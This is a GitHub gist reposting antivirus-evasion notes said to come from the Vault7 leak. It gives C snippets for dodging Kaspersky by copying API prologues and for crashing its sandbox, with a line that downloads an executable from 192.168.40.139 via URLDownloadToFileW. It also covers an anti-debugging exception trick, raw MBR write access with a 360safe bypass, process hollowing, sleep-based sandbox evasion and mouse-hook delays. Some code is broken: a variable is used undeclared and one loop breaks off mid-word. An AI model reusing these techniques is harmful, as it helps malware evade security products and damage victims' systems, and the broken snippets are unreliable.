Skip to content

Instantly share code, notes, and snippets.

@Und3rf10w
Created February 12, 2019 00:16
Show Gist options
  • Save Und3rf10w/25add18acc6ead6d7bb5372644c468e4 to your computer and use it in GitHub Desktop.
Save Und3rf10w/25add18acc6ead6d7bb5372644c468e4 to your computer and use it in GitHub Desktop.
PSP (AV) Avoidance Snips taken from vault7

Overview

Kaspersky's sandbox environment has been known to have gaps in what it emulates when examining a process. One such example was found while testing a technique found in known-malware. The technique involved copying the first few assembly instructions of target Windows API functions to an executable buffer, then calling a jmp command after executing the copied instructions which would jmp to the rest of the API code. For example:

DWORD dwOldProtect;
BYTE *urlcode = (BYTE*)VirtualAlloc(NULL, 16, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
HMODULE urlmon = LoadLibrary(L"Urlmon.dll");
BYTE* func = (BYTE*)GetProcAddress(urlmon, "URLDownloadToFileW");
memcpy(urlcode, func, 6);  //copy off the first 6 bytes (first few instructions) from the function to our buffer
lpUrlAddr += 6;

//make jump to lpUrlAddr+6, copy to urlcode.  call urlcode
BYTE jump[8] = {0};
jump[0] = 0x68; //push address to jump to
memcpy((jump+1), &lpUrlAddr, 4);
jump[5] = 0x58; //pop address into EAX
jump[6] = 0xff; //jmp eax
jump[7] = 0xe0;
 
memcpy((urlcode+6), jump, 8); //copy the jump sequence to our execution buffer
 
VirtualProtect(urlcode, 16, PAGE_EXECUTE_READ, &dwOldProtect); //Mark buffer as READ and EXECUTE
HRESULT h = (*(HRESULT(*)(LPVOID, PWCHAR, PWCHAR, DWORD, LPVOID))urlcode)(NULL, L"http://192.168.40.139/MessageBox.exe", L"MessageBox.exe", 0, NULL); //Call our buffer with the parameters normally sent to URLDownloadToFileW

While testing this technique's effectiveness, it was found that this technique was effective against Kaspersky's scanner when the executable was placed on the target system (compared to this same executable directly calling URLDownloadToFileW).

A side effect of this testing revealed that Kaspersky's sandbox will return a different value for GetProcAddress. See the example below:

DWORD dwOldProtect;
BYTE *urlcode = (BYTE*)VirtualAlloc(NULL, 16, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
HMODULE urlmon = LoadLibrary(L"Urlmon.dll");
BYTE* func = (BYTE*)GetProcAddress(urlmon, "URLDownloadToFileW");
BYTE* lpUrlAddr = (BYTE*)0x78169c9c; //Hard coded address of URLDownloadToFileW

memcpy(urlcode, lpUrlAddr , 6);  //Apparently this line causes Kasp sandbox to crash
//memcpy(urlcode, func, 6); -- This line would not trick Kasp into not flagging us

//Normally causes Kaspersky to flag and delete executable when it is dropped to disk.  In this case, Kaspersky does not do that
HRESULT h = URLDownloadToFile(NULL, L"http://192.168.40.139/MessageBox.exe", L"MessageBox.exe", 0, NULL); 

In the above code block, the result of GetProcAddress should be equal to the value of lpUrlAddr (confirmed to be true when run with debug output without PSPs around). However, when memcpy's source parameter is the hard coded address (and not func, the value returned from GetProcAddress), Kaspersky fails to flag the file as malicious. If memcpy's source parameter was func, Kaspersky would flag the file as malicious.

OutputDebugString, and other functions like it, effectively causes an exception to be raised (DBG_PRINTEXCEPTION_C or 0x40010006) which Windows catches. The arguments for the exception are the debug message string, and the length of the string. When a debugger is attached, Windows will eat the exception and let the debugger know. If no debugger is attached, the exception is passed to the program (as a continuable error). If the program does not have a handler for the exception, then life goes on. If the program does, then that exception handler is called. The former is most likely in normal programs, since there's usually no reason for a program to handle the event when OutputDebugString has no debugger to print to.

In the case of anti-debugging, if a program uses RaiseException to throw DBG_PRINTEXCEPTION_C, and have an exception handler ready to handle the exception, you can detect a debugger's presence by checking to see if your handler was called. This can be something as simple as follows:

BOOL IsThereADebugger()
{
	__try
	{
	RaiseException(DBG_PRINTEXCEPTION_C, 0, 0, 0);
	}
	__except(GetExceptionCode() == DBG_PRINTEXCEPTION_C)
	{
	return FALSE;
	}

	return TRUE;
}

In the course of analyzing a commercial program for a requirement, Umbrage discovered that this commercial program utilized this technique in their licensing checks to prevent a debugger from starting the program, or attaching to a running instance of the program. The following example is a rough implementation of the strategy used:

typedef struct _ARGS{
DWORD_PTR one;
DWORD_PTR two;
} ARGS, *PARGS;
BOOL IsThereADebugger()
{
	BOOL bReturn;
	__try
	{
		bReturn = StackAdjust(10);
	}
	__except(GetExceptionCode() == DBG_PRINTEXCEPTION_C)
	{
		LPEXCEPTION_POINTERS pepException = GetExceptionInformation();

		pepException->ExceptionRecord->ExceptionInformation[1] = 0x10;
		<other context-record specific stuff>
		return 0xFFFFFFFF;
	}
	return bReturn;
}

//Argument is placed in ECX, not on stack
//The purpose of this function wasn't clear.  It seems to be attempting to decrease ESP far enough such that it wouldn't be obvious where the local variable being checked is stored
BOOL StackAdjust(int iterations)
{
	__asm{
	sub esp, 0x2c
	dec ecx
	jle RaiseExcept
	call StackAdjust
	Unwind:
	add esp, 0x2c
	ret
	RaiseExcept:
	call TestForDebugger
	jmp Unwind
	}
}
BOOL TestForDebugger()
{
	DWORD dwFlag = 0; //This local's address is sent as part of the argument struct for the Dbg print exception.  This value is changed by the program's exception handler (if called at all)
	DWORD dwTemp; //not important, filler for second required arg for this dbg print exception
	ARGS args;
	args.one = &dwTemp;
	args.two = &dwFlag;
	
	RaiseException(DBG_PRINTEXCEPTION_C, 0, 2, &args); //If a debugger is attached, it WILL handle this exception (tested with IDA and Olly)
	if (dwFlag == 0)
		return TRUE; //Debugger was present since their exception handler was not called
	else
		return FALSE; //Their exception handler was called, so no debugger is present
}

Testing indicates that even when IDA was instructed to pass the exception to the program, this in fact did not occur. This may be related to why they constantly decremented ESP before raising the exception. The best work-around from the RE perspective is to patch the program to always return FALSE from TestForDebugger(), or patch the program to always initlialize the test variable (dwFlag) to start out as the passing value (in the case of the commercial product, any non-zero value would have worked).

Issues/Limitations

This will not prevent static analysis of a tool, nor will it prevent someone from patching the assembly to always pass the check (without some other mechanism to verify code integrity before running).

Overview

This component uses Windows Objects to open a read/write handle to the raw disk containg the system's Master Boot Record (MBR). The MBR starts at offset 0 in the file pointed to by the handle. While the handle provided by the component allows read/write access to the MBR, and sectors 1-63 of the drive that are normally empty, it currently does not//not allow raw writes to the filesystem on Windows 7+ systems.

Method

This component reads the current system's MBR through a read call on PhysicalDisk0. It then searches the directory of Windows Objects to find object names relating to IDE or SCSI devices. This search method uses hased values of the strings "IDE" and "SCSI" to perform the search, instead of using clear-text identifying strings. The component opens a read/write handle on each object that was found to contain either of the target strings. If the first SECTOR_SIZE (512) bytes matches the system's MBR read earlier, then the component returns this handle.

Restrictions on File Handle

The handle returned by this component is opened for read/write. However, there are certain restrictions that must be considered when using the handle All reads/writes must be exactly SECTOR_SIZE amounts (512). This does not//not mean you can write 1024 bytes at once. You must read/write exactly 512 bytes per read/write operation Calling read/write does not advance the file pointer. You must manually move the file pointer using the Windows API (Ex. SetFilePointer) This (currently) will not allow you to write to the filesystem using the given handle on systems that normally prevent such actions from occuring (Ex. Windows 7). You can write starting at sector 0 up until the first sector of the file system. For example, if the NTFS header is at sector 100, you can write on sectors 0-100. Oddly enough, Windows 7 appears to allow you to overwrite the NTFS header, but will block any attempt to write any sector after that.

Source Code

(Not provided, but the following line is notes from it that was in there - Und3rf10w): The code builds a DLL with a single exported function which, when called, returns a handle to the MBR disk (or an invalid handle value if an error occured)

PSP Profile

As of this writing (, the following PSPs do not flag the use of this component to replace the MBR, or write data to additional sectors after the MBR (but before the NTFS header): AVG, Kaspersky, 360safe, McAfee, Symantec, Avira, Rising.

The component includes a simple 360safe protection defeat. 360safe originally flagged this component when it attempted to write to the MBR sector and other sectors near it. However, it was discovered that adding a junk string to the end of the device path when calling CreateFile tricked 360safe into thinking the component was not opening the MBR disk. Windows, on the other hand, will always return the same handle pointing to the same file and offset, no matter what the junk string you added to the end of the device path.

Origin

The original source of this component was found by AFD\RE during an examination of malware sent to them for analysis. According to AFD, the source malware was attributed to probable Chinese FIO actors. AFD reconstructed this component from assembly source, and replaced the hard-coded string checks with a more robust, and covert, string-hash checking system. The Umbrage team changed AFD's implementation from a C++ class to a standard C\C++ Windows DLL.

Component Use

Stolen Goods: An MBR hooking persistence method for Grasshopper

Overview

Process Hollowing involves starting a benign process (such as Internet Explorer) using Windows' CreateProcess, with a specific flag set to create the process in a suspended mode. At this point, the component removes the benign process' code from the suspended process, injects its own malicious code, and resumes the process. PSPs may only do an initial scan when the process is created (even though it's suspended at the start) and won't notice the code replacement. Also, dynamic analysis tools such as Procmon will only log/show that a benign process was created.

Source Code

(None provided, but view some sample ones here - Und3rf10w):

Overview

SP sandboxes typically have a set time limit they analyze a program for before making a decision. PSPs do not want impose unnecessarily long wait times on the user, which may cause the user to disable PSP components or try other products out of frustration. A common technique of exploiting this mechanism is using a Sleep-like call at the start of a program to 'run out the clock'. PSPs caught on and many will skip the sleep calls in their sandbox environment. To counteract this, Malware authors will call a meaningless function which performs some kind of task or calculation that takes a while to complete, before performing any malicious action. This makes it harder/impossible for PSPs to know what to skip, and the Malware can effectively 'run out the clock' while in a PSP sandbox.

Source Code

//Pseudocode, no promises that the following syntax/API function names are 100% correct
void WasteTime()
{
	DWORD dwDeletes = 0;
	WCHAR pszFileName[MAX_PATH] = {0};
	srand(SystemTime);
	
	dwDeletes = rand() + 100;
 
	for (int i = 0; i < dwDeletes; i++)
	{
		Ge
	}
}

Overview

The Trojan Upclicker (as reported by eEye) uses the SetWindowsHookExA API with the WH_MOUSE_LL parameter to wait until the user lets up the left mouse button (WM_LBUTTONUP) before performing any malicious functionality (then it injects into Explorer.exe).

A sandbox environment that does not mimic mouse actions (probably most of them) will never execute the malicious behavior. This is probably effective against Kaspersky and others.

Source Code

(None provided, but references the UpClicker Trojan. Here's some research I found on it - Und3rf10w):

Additional resources (Und3rf10w)

https://volatility-labs.blogspot.com/2012/12/what-do-upclicker-poison-ivy-cuckoo-and.html

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment